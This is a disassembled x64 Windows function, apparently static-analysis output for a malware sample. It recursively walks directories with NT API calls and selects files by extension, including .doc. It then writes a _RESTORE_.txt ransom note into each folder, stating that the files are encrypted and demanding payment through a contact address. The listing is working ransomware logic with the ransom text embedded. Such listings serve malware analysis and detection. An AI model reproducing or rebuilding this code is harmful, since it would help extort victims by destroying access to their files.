Function at 0x140001810
Capabilities:
Get file attributes
Write file on windows

Disassembly:
push rbp
push rdi
push r13
lea rbp, [rsp - 0x650]
sub rsp, 0x750
mov rax, qword [0x14000a038]
xor rax, rsp
mov qword [rbp + 0x630], rax
mov r13, rcx
mov rdx, rcx
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x78]
mov dword [rsp + 0x28], 0x21
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
xor edi, edi
mov dword [rbp - 0x48], 0x30
lea r9, [rsp + 0x78]
mov qword [rbp - 0x40], rdi
lea r8, [rbp - 0x48]
mov dword [rbp - 0x30], edi
mov edx, 0x100001
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x60]
movdqu xmmword [rbp - 0x28], xmm0
call qword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
je 0x140001899
xor eax, eax
jmp 0x140001c30
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x20]
mov byte [rsp + 0x50], 1
xor r9d, r9d
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov byte [rsp + 0x40], 1
xor edx, edx
mov qword [rsp + 0x778], rbx
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x780], rsi
mov qword [rsp + 0x788], r12
mov r12, rdi
mov dword [rsp + 0x30], 0x400
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x748], r14
mov qword [rsp + 0x740], r15
mov r15, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtQueryDirectoryFile]
mov r14, 0xffffffffffffffff
test eax, eax
jne 0x140001a7b
lea rsi, str..doc
cmp qword [rbp - 0x80], rdi
je 0x140001a7b
mov eax, dword [rbp + 0x5c]
shr rax, 1
mov word [rbp + rax*2 + 0x60], di
movzx ecx, word [rbp + 0x60]
movzx eax, word [rbp + 0x62]
cmp cx, 0x2e
jne 0x140001962
test ax, ax
je 0x140001a2e
cmp cx, cx
jne 0x140001962
cmp ax, cx
jne 0x140001962
cmp word [rbp + 0x64], di
je 0x140001a2e
mov eax, dword [rbp + 0x58]
test al, 0x44
jne 0x140001a2e
test eax, 0x8b0
je 0x140001a2e
test al, 0x10
jne 0x1400019e7
lea rax, [rbp + 0x60]
mov r9, r14
inc r9
cmp word [rax + r9*2], di
jne 0x140001983
mov r10, rdi
mov r8, qword [r10 + rsi]
mov rcx, r14
nop word [rax + rax]
inc rcx
cmp word [r8 + rcx*2], di
jne 0x1400019a0
cmp r9, rcx
jbe 0x1400019d8
mov rax, r9
sub rax, rcx
lea rax, [rbp + rax*2 + 0x60]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400019d4
add rax, 2
test ecx, ecx
jne 0x1400019c0
test edx, edx
je 0x1400019e7
add r10, 8
cmp r10, 0xe8
jb 0x140001990
jmp 0x140001a2e
mov ecx, 0x210
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, r13
lea r8, str._s_s
mov rbx, rax
mov edx, 0x104
lea rcx, [rax + 8]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.140001cb0
test eax, eax
jle 0x140001a2e
test byte [rbp + 0x58], 0x10
je 0x140001a28
mov qword [rbx], r15
mov r15, rbx
jmp 0x140001a2e
mov qword [rbx], r12
mov r12, rbx
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x20]
mov byte [rsp + 0x50], dil
xor r9d, r9d
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov byte [rsp + 0x40], 1
xor edx, edx
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x400
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtQueryDirectoryFile]
test eax, eax
je 0x140001922
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov ebx, edi
test r12, r12
je 0x140001ae4
lea r14, [0x14000688c]
lea rcx, [r12 + 8]
call fcn.140001040
test eax, eax
setne dil
test eax, eax
jne 0x140001ac7
cmp edi, 1
lea rdx, [0x140006890]
lea r8, [r12 + 0x10]
cmove rdx, r14
lea rcx, str.__s__s_n
call fcn.140001d10
mov rcx, r12
add ebx, edi
mov r12, qword [r12]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edi, 0
test r12, r12
jne 0x140001a94
lea r14, [rdi - 1]
mov r12, qword [rsp + 0x788]
mov rsi, qword [rsp + 0x780]
test r15, r15
je 0x140001b1c
nop dword [rax]
lea rcx, [r15 + 8]
call fcn.140001810
mov rcx, r15
add ebx, eax
mov r15, qword [r15]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r15, r15
jne 0x140001b00
mov rax, qword [str._RESTORE_.txt]
lea r8, str._s_s
mov r9, r13
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x420]
call fcn.140001cb0
mov r15, qword [rsp + 0x740]
test eax, eax
jle 0x140001c1e
lea rdx, [rbp + 0x420]
lea rcx, [rbp - 0x68]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x50], edi
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rdi
lea r9, [rbp - 0x58]
mov dword [rsp + 0x40], 0x60
lea r8, [rbp - 0x18]
mov dword [rsp + 0x38], 5
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x30], edi
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x80
mov edx, 0x120116
mov qword [rsp + 0x20], rdi
mov dword [rbp - 0x18], 0x30
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rax
mov dword [rbp], edi
movdqu xmmword [rbp + 8], xmm0
call qword [sym.imp.ntdll.dll_NtCreateFile]
test eax, eax
jne 0x140001c1e
mov rax, qword [str.Attention__Your_files_have_been_encrypted._nTo_regain_access_to_your_files__you_must_pay_a_ransom._nContact_us_at_evil_mail.address_to_handle_payment._nDo_not_attempt_to_decrypt_your_files_using_third_party_software__as_this_will_permanently_damage_your_files._n]
mov qword [rsp + 0x70], rdi
inc r14
cmp byte [rax + r14], 0
jne 0x140001bd4
mov qword [rsp + 0x40], rdi
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x38], rcx
xor r9d, r9d
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
mov dword [rsp + 0x30], r14d
xor edx, edx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
mov r14, qword [rsp + 0x748]
mov eax, ebx
mov rbx, qword [rsp + 0x778]
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.140003a40
add rsp, 0x750
pop r13
pop rdi
pop rbp
ret